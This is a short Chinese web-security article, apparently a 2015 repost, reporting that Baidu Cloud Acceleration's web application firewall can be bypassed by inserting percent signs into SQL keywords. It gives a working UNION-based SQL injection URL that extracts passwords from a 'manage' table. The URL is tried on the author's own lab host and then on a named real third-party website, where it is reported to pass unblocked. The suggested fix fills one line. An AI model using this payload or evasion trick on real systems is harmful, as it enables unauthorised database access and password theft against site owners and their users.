百度云加速waf绕过 - 网站安全

百度云加速waf绕过 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 15:00 作者：阅读:次

[导读] http: www im286 com forum php?id=1 and 1=1通过这个知道该网站用了百度云加速的waf。但是百度waf由于没有对%号字符做处理导致SQL注入被绕过。这是我自己搭的环境。htpp: 192 168 1 100 test2 asp?id...

http://www.im286.com/forum.php?id=1 and 1=1通过这个知道该网站用了百度云加速的waf。

但是百度waf由于没有对%号字符做处理导致SQL注入被绕过。

这是我自己搭的环境。

htpp://192.168.1.100/test2.asp?id=1%20un%ion%20se%l%e%ct%201,2,3,4,5,pass%20from%20manage

顺利注射出password而这个站点

http://www.im286.com/1.asp?id=1%20un%ion%20se%l%e%ct%201,2,3,4,5,pass%20from%20manage

顺利通过没有拦截。

修复方案：

对%做处理

无声杯 xss 挑战赛 writeup - 网站安全 - 自学php

MediPro最新版注入漏洞及后台get shell - 网站安全

子栏目

百度云加速waf绕过 - 网站安全 - 自学php

修复方案：

最新评论

添加评论

更多文章推荐

添加评论